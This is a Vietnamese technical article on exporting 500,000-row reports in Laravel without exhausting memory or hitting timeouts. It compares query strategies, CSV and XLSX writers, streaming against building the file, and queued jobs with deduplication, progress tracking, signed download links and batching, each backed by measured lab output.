Xuất báo cáo nặng trong Laravel — không cạn RAM, không treo request, không ra file thiếu dòng

Đề phỏng vấn quen thuộc: "Admin bấm Xuất Excel 500 nghìn đơn hàng thì app sập. Anh xử lý thế nào?" Câu trả lời "dùng chunk() rồi đẩy vào queue" chỉ đủ cho vòng đầu. Interviewer senior sẽ hỏi tiếp: chunk nào, vì sao cursor() vẫn tốn RAM, file Excel thật hay CSV, user bấm 5 lần thì sao, worker chết giữa chừng thì file nằm đâu, dữ liệu đổi trong lúc xuất thì file có đúng không? Bài này trả lời từng câu đó bằng số đo thật trên 500 nghìn dòng.

Bài Tối ưu Laravel (mục 2.3 "Xuất file lớn — mẫu chuẩn" và Case 2 "Job xuất báo cáo bị OOM") đã đưa ra mẫu ngắn. Bài này là bản đào sâu của mẫu đó: đo lại từng lựa chọn, thêm phần chạy trong queue (chống trùng, tiến độ, link tải có hạn) và các kiểu hỏng có lab tái hiện.

Thuật ngữ dùng trong bài
export (xuất dữ liệu ra file cho người dùng tải) · hydration (biến một dòng DB thành object Eloquent Model — tốn RAM và CPU) · OFFSET paging (lấy trang bằng LIMIT 1000 OFFSET n) · keyset paging (lấy trang bằng WHERE id > id_cuối_trang_trước — cách chunkById/lazyById làm) · buffered query (driver kéo hết kết quả về RAM của PHP rồi mới cho đọc) · unbuffered query (đọc dần từ socket, dòng nào lấy dòng đó) · stream (ghi ra đích từng mẩu thay vì dựng cả file trong RAM) · TTFB (time to first byte — thời gian tới byte đầu tiên) · signed URL (link có chữ ký + hạn dùng, sửa một ký tự là hỏng) · retry_after (sau bao lâu queue coi job đang chạy là "mất" và giao lại) · formula injection (ô CSV bắt đầu bằng = bị Excel hiểu thành công thức).
Môi trường lab (mọi con số trong bài lấy từ đây): PHP 8.4.27 (php:8.4-fpm-alpine), Laravel 12.70.2, MySQL 8.4.13 (buffer pool 256MB), nginx 1.31.3, maatwebsite/excel 4.0.6, phpoffice/phpspreadsheet 5.10.0, openspout/openspout 5.13.0. Bảng orders 500 000 dòng × 7 cột (~100MB, ~211 byte/dòng), 500 dòng có ghi chú bắt đầu bằng =HYPERLINK(...). PHP-FPM pm = static, 4 child, memory_limit = 128M, request_terminate_timeout = 40s; nginx fastcgi_read_timeout 15s; queue driver database, retry_after = 20 (cố ý nhỏ cho lab). Host 4 vCPU dùng chung, nên số giây chỉ để so sánh giữa các cách với nhau, không phải số tuyệt đối. Script ở labs/laravel/xuat-bao-cao-nang/ — xem Phụ lục.

1. Bài toán gốc và bối cảnh ra đời

Một request web trong PHP-FPM được thiết kế cho việc ngắn và nhỏ: vài chục MB RAM, vài trăm mili-giây, một worker. Export phá cả ba giả định cùng lúc:

  1. RAM. Cách viết tự nhiên nhất (Order::all() rồi đổ vào thư viện Excel) giữ cùng lúc trong RAM: toàn bộ kết quả thô từ driver, toàn bộ object Model, và toàn bộ ô bảng tính. Ở lab, chỉ riêng bước đọc Order::select(...)->get() 500 nghìn dòng đã lên 734MB; thêm PhpSpreadsheet thì 100 nghìn dòng đã tốn 610MB. memory_limit là giới hạn cho mỗi tiến trình, nhân với số worker là ra RAM cả máy.
  2. Thời gian. Request đi qua một chuỗi timeout: trình duyệt → load balancer → nginx (fastcgi_read_timeout) → PHP-FPM (request_terminate_timeout) → PHP (max_execution_time). Cái ngắn nhất thắng. Export 30 giây chạm timeout nginx; người dùng thấy 504 và bấm lại.
  3. Chỗ ngồi trong pool. PHP-FPM có số worker cố định (pm.max_children). Một export chiếm một worker suốt thời gian chạy; 4 export cùng lúc trên pool 4 worker là trang chủ phải xếp hàng (lab: /up đợi 12,4 giây — mục 5.3). Chi tiết cách tính số worker ở bài Scale nginx + PHP-FPM.

Lời giải hiện nay là ghép mấy kỹ thuật ra đời ở các thời điểm khác nhau, mỗi cái xử lý một giới hạn:

Tối ưu cho: báo cáo dạng bảng phẳng, nhiều dòng, đọc tuần tự theo khoá, người dùng chấp nhận chờ vài chục giây tới vài phút. Không tối ưu cho: báo cáo cần định dạng phức tạp (merge ô, công thức, biểu đồ) trên dữ liệu lớn, dữ liệu cần "chụp" chính xác tại một thời điểm trên bảng ghi liên tục (mục 4.1), hay phân tích ad-hoc trên hàng chục triệu dòng — chỗ đó thuộc về kho dữ liệu/BI, không phải PHP.

2. Mô hình tư duy cốt lõi

Hai ý, mọi thứ còn lại suy ra từ đây:

  1. Export là một đường ống nguồn → biến đổi → đích. RAM bằng bộ đệm lớn nhất trên đường ống, không bằng kích thước file. Nếu mọi khâu chỉ giữ một lô 1000 dòng rồi đẩy đi, RAM phẳng dù file 92MB hay 9GB. Chỉ cần một khâu gom hết (driver buffered, ->get(), nối chuỗi, PhpSpreadsheet) là RAM tăng theo số dòng — và khâu đó quyết định cả đường ống.
  2. Thời gian chạy export phải tách khỏi vòng đời request. Request chỉ nhận lệnh, ghi một dòng trạng thái và trả về ngay. Việc nặng chạy ở nơi không có timeout của người dùng (queue worker). Người dùng biết tiến độ qua dòng trạng thái và lấy kết quả qua một link riêng.
flowchart TD
  U["Người dùng bấm Xuất"] --> C["POST /exports<br/>throttle 3/phút/user"]
  C --> D{"INSERT exports<br/>active_key UNIQUE"}
  D -- "trùng: đang có export giống hệt" --> R["200 + id cũ"]
  D -- "thắng" --> Q["Đẩy ExportOrdersJob vào queue<br/>trả 202 + id"]
  Q --> W["Worker: lazyById 1000 dòng/lần<br/>id <= max_id đã chốt"]
  W --> F["fputcsv ra file trên disk/S3<br/>RAM phẳng ~32MB"]
  W --> P["Mỗi 10k dòng: UPDATE processed"]
  P --> G["GET /exports/{id}: tiến độ"]
  F --> S["status=done, active_key=NULL"]
  S --> L["Signed URL hết hạn sau 30 phút"]
  L --> T["Tải file: 200 / sửa link: 403"]

Hệ quả trực tiếp của hai ý trên — sẽ được đo ở mục 3:

3. Internals và quyết định thiết kế

3.1. Khâu nguồn: đọc 500 nghìn dòng bằng cách nào

Mỗi cách chạy trong một tiến trình PHP mới, memory_limit=1G, đọc 7 cột của cả bảng. peak là memory_get_peak_usage(true), rss_hwm là RAM thật cao nhất của tiến trình (VmHWM). Output thật (out/02-fetch.log):

get                rows=500000 queries=1 peak=734.0MB rss_hwm=751MB time=7.56s
get_base           rows=500000 queries=1 peak=509.6MB rss_hwm=526MB time=1.75s
chunk              rows=500000 queries=501 peak=30.0MB rss_hwm=47MB time=45.77s
chunk_by_id        rows=500000 queries=501 peak=30.0MB rss_hwm=47MB time=9.47s
lazy               rows=500000 queries=501 peak=30.0MB rss_hwm=49MB time=49.59s
lazy_by_id         rows=500000 queries=501 peak=30.0MB rss_hwm=49MB time=6.21s
lazy_by_id_base    rows=500000 queries=501 peak=28.0MB rss_hwm=47MB time=2.48s
cursor             rows=500000 queries=1 peak=125.6MB rss_hwm=143MB time=10.21s
cursor_base        rows=500000 queries=1 peak=125.6MB rss_hwm=143MB time=1.45s
cursor_unbuf       rows=500000 queries=1 peak=28.0MB rss_hwm=46MB time=10.31s
cursor_base_unbuf  rows=500000 queries=1 peak=28.0MB rss_hwm=45MB time=1.28s

(_base = cùng câu query nhưng qua DB::table(), tức không hydrate thành Model; _unbuf = tắt PDO::MYSQL_ATTR_USE_BUFFERED_QUERY.)

Đọc bảng này theo bốn quyết định thiết kế:

  1. get(): một query, giữ mọi thứ. 734MB cho 500 nghìn Model — khoảng 1,5KB mỗi dòng, gấp ~7 lần dữ liệu thật (~211 byte/dòng). Bỏ hydration (get_base) còn 509,6MB vì vẫn giữ 500 nghìn mảng/stdClass. Cùng code đó với memory_limit=256M: Allowed memory size of 268435456 bytes exhausted, exit 255. Đánh đổi: nhanh và đơn giản nhất, đổi bằng RAM tỷ lệ thuận với số dòng.
  2. chunk()/lazy() vs chunkById()/lazyById(): cùng RAM, chênh 5–8 lần thời gian. Cả bốn đều chạy 501 query và giữ ~30MB. Khác nhau ở câu query: chunk sinh ORDER BY id LIMIT 1000 OFFSET n, nên trang thứ 400 bắt MySQL đọc rồi bỏ 399 000 dòng đầu — tổng công việc tăng theo bình phương số trang (45,77s). Bản ById sinh WHERE id > :id_cuối ORDER BY id LIMIT 1000, mỗi trang là một lần nhảy thẳng vào index (9,47s). Đánh đổi của keyset: phải có cột tăng dần, duy nhất và có index; không sắp xếp theo cột khác được (muốn xuất theo created_at thì cần index ghép và cursor hai cột — chưa làm trong lab).
  3. Hydration tốn gần 2/3 thời gian. lazy_by_id 6,21s → lazy_by_id_base 2,48s; cursor 10,21s → cursor_base 1,45s. Export không cần accessor, event, relation — chỉ cần giá trị cột. Dùng ->toBase() hoặc DB::table().
  4. cursor() mặc định vẫn giữ cả kết quả thô: 125,6MB. cursor() chỉ hydrate một Model mỗi lúc, nhưng driver MySQL mặc định chạy buffered: kéo toàn bộ 500 nghìn dòng thô vào RAM của PHP trước khi trả dòng đầu. Tài liệu Laravel 12 nói đúng điều này: cursor "will still eventually run out of memory" do PDO cache toàn bộ kết quả thô. Với memory_limit=128M lab vẫn chạy qua (peak 125,6MB — sát nút); thêm vài cột text là chết. Tắt buffer thì xuống 28MB, nhưng đổi lại hai cái bẫy ở mục 5.8.

Còn một chi tiết hay bị nhắc sai: query log mặc định đã tắt. Lab in ra DB logging enabled by default: false — DB::disableQueryLog() chỉ còn tác dụng khi ai đó đã bật nó (Debugbar, Telescope, code debug), nên vẫn nên gọi ở đầu job dài như một hàng rào rẻ tiền.

// Khâu nguồn khuyến nghị: keyset + không hydrate + chốt cận trên
DB::table('orders')
    ->select(['id', 'customer_name', 'email', 'status', 'total', 'note', 'created_at'])
    ->where('id', '<=', $export->max_id)   // chốt lúc tạo yêu cầu, xem mục 4.1
    ->lazyById(1000)                          // WHERE id > :last ORDER BY id LIMIT 1000
    ->each(fn ($o) => Csv::put($fh, Csv::row($o)));

// Bằng chứng giới hạn: chạy được với memory_limit=32M
// rows=500000 queries=501 peak=30.0MB rss_hwm=49MB time=8.83s

Cách nói khi phỏng vấn: "Em đọc theo khoá chính từng lô một nghìn dòng: mỗi lô hỏi 'cho tôi một nghìn đơn có mã lớn hơn mã cuối của lô trước', nên lô thứ bốn trăm cũng nhanh như lô đầu, khác với phân trang bằng offset phải đọc rồi bỏ cả trăm nghìn dòng. Em không dựng Model, chỉ lấy giá trị cột, vì riêng bước dựng Model đã chiếm gần hai phần ba thời gian. Em chốt mã lớn nhất ngay lúc người dùng bấm, để đơn mới phát sinh trong lúc chạy không lọt vào. Đo trên năm trăm nghìn dòng thì RAM đứng yên ở khoảng ba mươi MB, chạy được kể cả khi giới hạn chỉ ba mươi hai MB."

flowchart TD
  A["Cần đọc N dòng"] --> B{"Có cột id tăng dần, có index?"}
  B -- "có" --> C["lazyById / chunkById<br/>RAM ~ 1 lô, thời gian ~ tuyến tính"]
  B -- "không, phải ORDER BY cột khác" --> D["Keyset 2 cột (created_at, id)<br/>hoặc cursor unbuffered + connection riêng"]
  C --> E{"Cần Model (accessor, relation)?"}
  E -- "không" --> F["toBase() / DB::table()<br/>nhanh gấp ~2,5 lần"]
  E -- "có" --> G["Giữ Eloquent, eager load theo lô"]
  A -.-> X["Tránh: get(), chunk() OFFSET,<br/>cursor() buffered trên bảng lớn"]

3.2. Khâu đích: ghi CSV hay XLSX, bằng thư viện nào

Cùng một nguồn (lazyById, không hydrate), chỉ đổi writer. Output thật (out/03-writers.log, rút gọn):

### rows=10000
csv             rows=10000 peak=28.0MB rss_hwm=47MB time=0.16s size=1.8MB
csv_string      rows=10000 peak=30.0MB rss_hwm=49MB time=0.15s size=1.7MB
openspout       rows=10000 peak=30.0MB rss_hwm=48MB time=0.99s size=0.4MB
### rows=100000
csv             rows=100000 peak=28.0MB rss_hwm=47MB time=1.62s size=18.1MB
csv_string      rows=100000 peak=48.0MB rss_hwm=66MB time=0.93s size=17.6MB
openspout       rows=100000 peak=30.0MB rss_hwm=52MB time=7.07s size=4.1MB
### rows=500000
csv             rows=500000 peak=28.0MB rss_hwm=47MB time=6.14s size=92.4MB
csv_string      rows=500000 peak=120.0MB rss_hwm=138MB time=4.40s size=89.6MB
openspout       rows=500000 peak=30.0MB rss_hwm=68MB time=37.06s size=20.3MB
### PhpSpreadsheet / Laravel Excel, memory_limit=1G
phpspreadsheet  rows=10000 peak=107.6MB rss_hwm=107MB time=2.38s size=0.5MB
laravel_excel   rows=10000 peak=107.6MB rss_hwm=107MB time=2.09s size=0.5MB
phpspreadsheet  rows=50000 peak=334.1MB rss_hwm=322MB time=11.92s size=2.3MB
laravel_excel   rows=50000 peak=336.1MB rss_hwm=324MB time=12.26s size=2.3MB
phpspreadsheet  rows=100000 peak=610.1MB rss_hwm=581MB time=24.87s size=4.6MB
laravel_excel   rows=100000 peak=610.1MB rss_hwm=581MB time=28.05s size=4.6MB
### PhpSpreadsheet 500k rows under memory_limit=512M
exit=255 (expected: fatal OOM)
Allowed memory size of 536870912 bytes exhausted
WriterRAM theo số dòng500k dòngĐánh đổi
fputcsv ra filephẳng 28MB6,1s · 92,4MBNhanh nhất, file to nhất; không style, không kiểu dữ liệu — Excel tự đoán kiểu (số điện thoại mất số 0 đầu, ngày theo locale)
Nối chuỗi rồi ghităng: 30 → 48 → 120MB4,4s · 89,6MBNhanh hơn chút vì ít lời gọi hàm, nhưng RAM = kích thước file. Bản này còn không escape dấu phẩy/nháy (file 89,6MB nhỏ hơn 92,4MB chính vì thiếu dấu nháy) — tức là sai
OpenSpout XLSXgần phẳng 30MB (RSS 68MB)37,1s · 20,3MBXLSX thật, file nhỏ hơn 4,5 lần (zip), chậm hơn 6 lần CSV; ghi dòng qua file tạm rồi nén khi close()
PhpSpreadsheet / Laravel Exceltăng: 107 → 334 → 610MBhết RAM ở 512MĐầy đủ tính năng (style, công thức, nhiều sheet, đọc-sửa-ghi); mỗi ô là một object

Ba quyết định thiết kế cần hiểu:

  1. PhpSpreadsheet giữ mọi ô trong RAM — có chủ đích. Thư viện là mô hình bảng tính để sửa: bạn có thể đặt công thức ở A1 tham chiếu Z99999 rồi tính lại. Muốn thế thì phải giữ mọi ô. Tài liệu của nó ghi "trung bình khoảng 1KB/ô (1,6KB trên PHP 64-bit)"; lab đo 100 000 dòng × 7 ô = 700 000 ô ở 610MB, tức ~0,9KB/ô — khớp bậc. Cell caching (PSR-16, ra Redis/APCu) giảm RAM nhưng đổi bằng tốc độ, và vẫn không biến nó thành writer stream.
  2. Laravel Excel FromQuery không phải là stream. Tên FromQuery + "query được chạy theo chunk" dễ làm tưởng RAM phẳng. Đọc source 4.0.6: Sheet::fromQuery() gọi $query->chunk() (OFFSET paging, src/Sheet.php:523) và đổ từng lô vào cùng một Worksheet của PhpSpreadsheet. Chunk chỉ giảm số Model sống cùng lúc; ô bảng tính vẫn tích luỹ. Số đo trùng gần như tuyệt đối với PhpSpreadsheet trần (610,1MB cả hai) là bằng chứng.
  3. OpenSpout đánh đổi tính năng lấy RAM. Chỉ ghi từ trên xuống, không quay lại sửa ô cũ, mặc định dùng inline string (không gom chuỗi trùng). Tài liệu của nó nói Apple Numbers/iOS không đọc inline string — nếu khách dùng Mac/iPhone mở file, phải bật shared strings. Đây là lựa chọn đúng khi khách hàng bắt buộc XLSX.
// Writer XLSX dạng stream: RAM gần phẳng, chậm hơn CSV ~6 lần
use OpenSpout\Common\Entity\Row;
use OpenSpout\Writer\XLSX\Writer;

$x = new Writer();
$x->openToFile($path);                       // ghi ra file tạm, nén zip khi close()
$x->addRow(Row::fromValues(Csv::HEAD));
foreach ($source as $o) {
    $x->addRow(Row::fromValues(Csv::row($o)));   // 1 dòng vào, 1 dòng ra đĩa
}
$x->close();

Cách nói khi phỏng vấn: "Mặc định em xuất CSV vì nó ghi được từng dòng ra đĩa, RAM đứng yên dù file lớn cỡ nào. Nếu nghiệp vụ bắt buộc file Excel thật thì em dùng một thư viện ghi kiểu dòng chảy như OpenSpout, chấp nhận chậm hơn khoảng sáu lần. Em tránh PhpSpreadsheet và Laravel Excel cho dữ liệu lớn vì chúng giữ mọi ô trong bộ nhớ, khoảng một KB một ô: đo thật một trăm nghìn dòng đã hơn sáu trăm MB. Tên FromQuery dễ làm hiểu nhầm là đọc theo lô thì RAM phẳng, nhưng lô chỉ giảm số Model, còn ô bảng tính vẫn dồn lại."

flowchart TD
  A["Khách cần file gì?"] --> B{"Bắt buộc .xlsx?"}
  B -- "không" --> C["fputcsv + BOM UTF-8<br/>RAM phẳng, nhanh nhất"]
  B -- "có" --> D{"Cần style, công thức,<br/>nhiều sheet phức tạp?"}
  D -- "không" --> E["OpenSpout<br/>RAM gần phẳng, chậm hơn ~6x"]
  D -- "có" --> F{"Dưới vài chục nghìn dòng?"}
  F -- "có" --> G["PhpSpreadsheet / Laravel Excel<br/>~1KB/ô, chấp nhận được"]
  F -- "không" --> H["Tách: dữ liệu thô bằng OpenSpout<br/>+ sheet tổng hợp nhỏ bằng PhpSpreadsheet"]

3.3. Chạy ngay trong request: stream vs dựng file rồi gửi

Hai route cùng đọc lazyById và fputcsv, chỉ khác đích: /export/stream ghi thẳng vào php://output trong streamDownload; /export/build ghi ra file tạm rồi response()->download(). Tham số delay làm chậm nhân tạo (40ms mỗi 1000 dòng ≈ +20s) để mô phỏng query nặng hơn. Đi qua nginx thật, output thật (out/04-in-request.log):

### A. stream, no delay (500k rows)
http=200 ttfb=0.045143s total=8.970999s bytes=96934580 lines=500001
### B. build file first, then send, no delay
http=200 ttfb=12.943442s total=13.596687s bytes=96934487 lines=500000
### C. build, slowed to ~25 s (40 ms per 1000 rows) — longer than nginx fastcgi_read_timeout=15s
http=504 ttfb=15.013187s total=15.066919s bytes=167 lines=7
### D. stream, same slowdown ~25 s — bytes keep flowing
http=200 ttfb=0.043129s total=31.394242s bytes=96934580 lines=500001
### E. stream, slowed to ~50 s (100 ms/1000 rows) — longer than FPM request_terminate_timeout=40s
http=200 ttfb=0.037079s total=49.528704s bytes=81937559 lines=422997

Và phía PHP (lab.log + log FPM):

18:19:57 pid=9 stream start
18:20:06 pid=9 stream done rows=500000 peak=4.0MB time=8.9s
18:20:21 pid=10 build start
18:20:51 pid=10 build done rows=500000 time=30.7s connection_aborted=0
WARNING: [pool www] child 9, script '/app/public/index.php' (request: "GET /index.php?delay=100") execution timed out (49.520227 sec), terminating

Năm điều rút ra, theo thứ tự quan trọng:

  1. Stream qua được timeout nginx, dựng file thì không. fastcgi_read_timeout không phải tổng thời gian request — nó là khoảng lặng tối đa giữa hai lần đọc từ PHP-FPM. Stream đẩy byte liên tục nên chạy 31,4s vẫn 200 (D). Dựng file thì im lặng tới khi xong, nên đúng giây 15 nginx trả 504 (C).
  2. Sau 504, PHP vẫn chạy tiếp tới cuối: build done ... time=30.7s connection_aborted=0. Người dùng đã thấy lỗi từ giây 15, worker vẫn bị chiếm thêm 15 giây, và PHP không hề biết client đã đi (nó chỉ phát hiện khi ghi ra output). Nếu người dùng bấm lại, có hai export nặng chạy song song.
  3. Stream bị FPM giết giữa chừng ra file thiếu dòng với HTTP 200. Case E: header 200 đã gửi từ mili-giây đầu, nên khi request_terminate_timeout giết worker, không còn cách nào báo lỗi. Trình duyệt nhận 422 997/500 000 dòng, curl exit 0, dòng cuối bị cắt giữa chừng (khach422997@example.co). Người dùng mở file thấy "có dữ liệu" và không biết thiếu 15%. Đây là kiểu hỏng nguy hiểm nhất của cả bài.
  4. Timeout FPM không chính xác tới giây. Đặt 40s, bị giết ở 49,5s. Đọc source PHP 8.4 (sapi/fpm/fpm/fpm_conf.c): FPM kiểm tra định kỳ mỗi request_terminate_timeout × 1000 / 3 ms = 13,3s, nên thời điểm giết rơi đâu đó trong khoảng 40–53s.
  5. TTFB: stream 0,045s, dựng file 12,9s. Với trình duyệt, stream bắt đầu tải ngay; dựng file thì người dùng nhìn màn hình trắng.
// Stream trong request: hợp lệ cho file vừa, chạy chắc chắn dưới mọi timeout
return response()->streamDownload(function () {
    $out = fopen('php://output', 'w');
    fwrite($out, "\xEF\xBB\xBF");                       // BOM: Excel mở UTF-8 tiếng Việt đúng
    Csv::put($out, Csv::HEAD);
    DB::table('orders')->select(Csv::COLS)->lazyById(1000)
        ->each(fn ($o) => Csv::put($out, Csv::row($o)));
    fclose($out);
}, 'orders.csv', ['Content-Type' => 'text/csv; charset=UTF-8']);
// Đo: 500k dòng, 8,9s, peak 4.0MB trong FPM (opcache bật; CLI không opcache là 28MB)

Cách nói khi phỏng vấn: "Stream ngay trong request giữ RAM chỉ vài MB và vượt được timeout của nginx, vì nginx chỉ đếm khoảng lặng giữa hai lần nhận dữ liệu chứ không đếm tổng thời gian. Nhưng nó vẫn bị giới hạn tổng thời gian của PHP-FPM, và khi bị cắt giữa chừng thì mã 200 đã gửi đi rồi, người dùng nhận một file thiếu dòng mà không có báo lỗi nào. Em đo được trường hợp nhận bốn trăm hai mươi ba nghìn trên năm trăm nghìn dòng. Nên em chỉ stream khi chắc chắn chạy xong trong vài giây; còn lại đưa vào queue."

sequenceDiagram
  participant B as Trình duyệt
  participant N as nginx (read 15s)
  participant F as PHP-FPM (terminate 40s)
  B->>N: GET /export/build
  N->>F: FastCGI
  Note over F: dựng file 30,7s, chưa gửi byte nào
  N-->>B: 504 ở giây 15
  Note over F: vẫn chạy tiếp, connection_aborted=0
  B->>N: GET /export/stream?delay=100
  N->>F: FastCGI
  F-->>B: 200 + byte liên tục
  Note over F: giây 49,5 bị terminate
  F-->>B: kết nối đóng, file 422997 dòng

3.4. Chạy trong queue: luồng khuyến nghị và từng mảnh của nó

Tách request khỏi việc nặng làm phát sinh bốn việc mà request đồng bộ cho không: (a) biết ai đang chờ cái gì, (b) chặn bấm trùng, (c) báo tiến độ và lỗi, (d) giao file an toàn. Lab dùng bảng exports làm "sổ" cho cả bốn:

Schema::create('exports', function (Blueprint $t) {
    $t->id();
    $t->unsignedBigInteger('user_id');
    $t->char('filter_hash', 40);                              // sha1(bộ lọc đã chuẩn hoá)
    $t->string('active_key', 80)->nullable()->unique();      // "user:hash" khi đang chạy, NULL khi xong
    $t->string('status', 20)->default('queued');             // queued | running | done | failed
    $t->unsignedInteger('processed')->default(0);
    $t->unsignedBigInteger('max_id');                         // chốt cận trên lúc tạo yêu cầu
    $t->string('path')->nullable();
    // ... peak_mb, error, finished_at, timestamps
});

Cách nói khi phỏng vấn: "Mỗi yêu cầu xuất là một dòng trong bảng exports, ghi ai yêu cầu, bộ lọc gì, đang ở trạng thái nào, đã xử lý bao nhiêu dòng và file nằm đâu. Cột khoá-đang-chạy là duy nhất: khi export còn chạy thì nó mang giá trị người dùng cộng bộ lọc, chạy xong thì về rỗng. Nhờ vậy database tự chặn hai yêu cầu giống hệt nhau cùng lúc, mà xong rồi thì xuất lại vẫn được. Cột mã lớn nhất chốt phạm vi dữ liệu ngay lúc bấm."

(a + b) Controller: chống trùng bằng unique index, giới hạn tần suất bằng throttle.

RateLimiter::for('exports', fn (Request $r) => Limit::perMinute(3)->by($r->user()->id));
Route::post('/exports', [ExportController::class, 'store'])->middleware('throttle:exports');

public function store(Request $r)
{
    $hash = sha1(json_encode($r->validated()));           // bộ lọc đã chuẩn hoá
    $key  = $r->user()->id . ':' . $hash;
    try {
        $e = Export::create(['user_id' => $r->user()->id, 'filter_hash' => $hash,
            'active_key' => $key, 'max_id' => DB::table('orders')->max('id')]);
    } catch (UniqueConstraintViolationException) {
        return response()->json(['id' => Export::where('active_key', $key)->value('id'), 'dedup' => true]);
    }
    ExportOrdersJob::dispatch($e->id)->onQueue('exports');
    return response()->json(['id' => $e->id], 202);
}

Cách nói khi phỏng vấn: "Controller không làm gì nặng: nó thử ghi một dòng yêu cầu. Nếu database báo trùng khoá thì nghĩa là đúng người này với đúng bộ lọc này đang có một export chạy, em trả lại mã của export đó thay vì tạo cái mới, nên năm cú bấm liên tiếp chỉ ra một việc. Thắng thì em đẩy job vào hàng đợi riêng cho export và trả 202 kèm mã để giao diện theo dõi. Ngoài ra mỗi người chỉ được tạo ba export một phút, để một người không chiếm hết worker."

Bắn 5 request song song cùng người, cùng bộ lọc, ba phương án (out/05-queue.log):

### A. naive: 5 concurrent POST, same user + same filter
202 202 202 202 202
exports=5 jobs=5
### B. ShouldBeUnique: 5 concurrent POST
202 202 202 202 202
jobs=1 cache_locks=1
### C. unique index on exports.active_key: 5 concurrent POST
202 200 200 200 200
exports=1 jobs=1
export id=2 status=queued active_key=12:68bc7f0b693922664868e52dc6fec14e2ada5f8f max_id=500000
AUTO_INCREMENT next=6
### D. rate limit 3/min per user (different filters, so dedupe does not apply)
202 202 202 429 429
flowchart TD
  A["5 request song song<br/>cùng user + bộ lọc"] --> B["INSERT exports<br/>active_key = user:hash"]
  B --> C{"Unique index"}
  C -- "1 thắng" --> D["dispatch job<br/>202 + id=2"]
  C -- "4 thua" --> E["SELECT id WHERE active_key<br/>200 + id=2"]
  D --> F["Job xong: active_key = NULL"]
  F --> G["Bấm lại sau đó: tạo export mới (202)"]

(c) Job: một job, đọc theo keyset, ghi file, báo tiến độ mỗi 10 nghìn dòng.

class ExportOrdersJob implements ShouldQueue
{
    use Queueable;
    public int $timeout = 600;          // phải NHỎ hơn retry_after của connection (mục 5.6)
    public int $tries = 1;
    public bool $failOnTimeout = true;

    public function handle(): void
    {
        DB::disableQueryLog();
        $e = Export::findOrFail($this->exportId);
        $e->update(['status' => 'running']);
        $path = "exports/{$e->id}-" . Str::random(16) . '.csv';   // tên khó đoán
        $fh = fopen(Storage::disk('local')->path($path), 'w');
        fwrite($fh, "\xEF\xBB\xBF");
        Csv::put($fh, Csv::HEAD);
        $n = 0;
        DB::table('orders')->select(Csv::COLS)->where('id', '<=', $e->max_id)
            ->lazyById(1000)->each(function ($o) use ($fh, &$n, $e) {
                Csv::put($fh, Csv::row($o));
                if (++$n % 10000 === 0) {
                    DB::table('exports')->where('id', $e->id)->update(['processed' => $n]);
                }
            });
        fclose($fh);
        $e->update(['status' => 'done', 'path' => $path, 'processed' => $n,
            'active_key' => null, 'finished_at' => now()]);
    }

    public function failed(?Throwable $ex): void
    {
        Export::whereKey($this->exportId)->update(['status' => 'failed', 'active_key' => null,
            'error' => substr((string) $ex?->getMessage(), 0, 200)]);
    }
}

Cách nói khi phỏng vấn: "Job đọc theo lô một nghìn dòng trong phạm vi mã đã chốt, ghi từng dòng thẳng ra file, cứ mười nghìn dòng thì cập nhật số đã xử lý để giao diện hiển thị tiến độ. Xong thì đánh dấu hoàn tất, ghi đường dẫn file và giải phóng khoá chống trùng. Hỏng thì hàm failed đánh dấu thất bại và cũng giải phóng khoá, để người dùng thử lại được. Thời gian tối đa của job em đặt nhỏ hơn thời gian queue chờ trước khi giao lại job, nếu không sẽ có hai worker cùng chạy một export."

Chạy 1 worker (memory_limit=128M), giao diện poll GET /exports/2 mỗi 2 giây (job có thêm 300ms trễ mỗi 10 nghìn dòng để quan sát được tiến độ):

  0.1s {"status":"queued","processed":0,"peak_mb":null,"url":null}
  2.2s {"status":"running","processed":30000,"peak_mb":null,"url":null}
  4.3s {"status":"running","processed":80000,"peak_mb":null,"url":null}
 ...
 23.3s {"status":"running","processed":500000,"peak_mb":null,"url":null}
 25.4s {"status":"done","processed":500000,"peak_mb":"32.0","url":"http:\/\/127.0.0.1:18480\/expo
2026-10-28 18:36:43 App\Jobs\ExportOrdersJob RUNNING
2026-10-28 18:37:05 App\Jobs\ExportOrdersJob 22s DONE
status=done processed=500000 worker peak_mb=32.0 active_key=NULL
### F. same request again after done -> new export allowed
202

(d) Giao file bằng signed URL có hạn.

// show(): chỉ sinh link khi đã xong; link chứa expires + signature (HMAC theo APP_KEY)
'url' => $export->status === 'done'
    ? URL::temporarySignedRoute('exports.download', now()->addMinutes(30), ['export' => $export->id])
    : null,

Route::get('/exports/{export}/download', [ExportController::class, 'download'])
    ->name('exports.download')->middleware('signed');

public function download(Export $export)
{
    return Storage::disk('local')->download($export->path, "orders-{$export->id}.csv");
}
url: http://127.0.0.1:18480/exports/2/download?expires=1793214429&signature=1e8ac39da8d3...
download: http=200 bytes=96934580
lines=500001
same signature, other export id (8): http=403
no signature: http=403
ttl=2s, right away: http=200
ttl=2s, after 3 s: http=403

Cách nói khi phỏng vấn: "File không nằm ở thư mục public. Khi export xong, em sinh một đường link có chữ ký và hạn dùng ba mươi phút; chữ ký phủ cả mã export lẫn thời điểm hết hạn, nên đổi sang mã export khác hay để quá hạn đều bị từ chối, em đo được cả hai trường hợp trả 403. Lưu ý link có chữ ký giống như vé: ai cầm link cũng tải được trong thời hạn, nên với dữ liệu nhạy cảm em kiểm tra thêm quyền người đăng nhập ở route tải, và giữ hạn ngắn."

Trên S3 thì dùng Storage::temporaryUrl() (presigned URL, S3 tự kiểm chữ ký, PHP không phải truyền file). Disk local cũng có temporaryUrl nếu bật 'serve' => true trong config/filesystems.php (tài liệu Laravel 12) — lab dùng route riêng để thấy rõ cơ chế.

3.5. Chia nhỏ song song bằng Bus::batch — được bao nhiêu?

Chia dải id thành N lát, mỗi lát một job ghi file riêng, then() nối các file theo thứ tự. Mỗi cấu hình chạy N worker; so md5 file cuối với file của job đơn để chắc nội dung giống hệt (out/07-batch.log):

### A. single ExportOrdersJob, 1 worker
wall=9.3s
### B. batch of 2 slices, 2 workers
batch a3177e40-619d-4d87-a649-629377eb161b jobs=2 slice=250000
wall=7.0s
job_batches: total=2 pending=0 failed=0 finished=yes
same bytes as single job: yes lines=500001
### B. batch of 4 slices, 4 workers
batch a3177e4d-b46e-4a92-a4aa-44ec2df60c70 jobs=4 slice=125000
wall=5.0s
job_batches: total=4 pending=0 failed=0 finished=yes
same bytes as single job: yes lines=500001
### B. batch of 8 slices, 8 workers
batch a3177e57-bb21-44ac-9d7a-fabbd95d8546 jobs=8 slice=62500
wall=5.5s
job_batches: total=8 pending=0 failed=0 finished=yes
same bytes as single job: yes lines=500001
### lab.log
18:43:01 batch then(): concat 2 parts in 0.15s
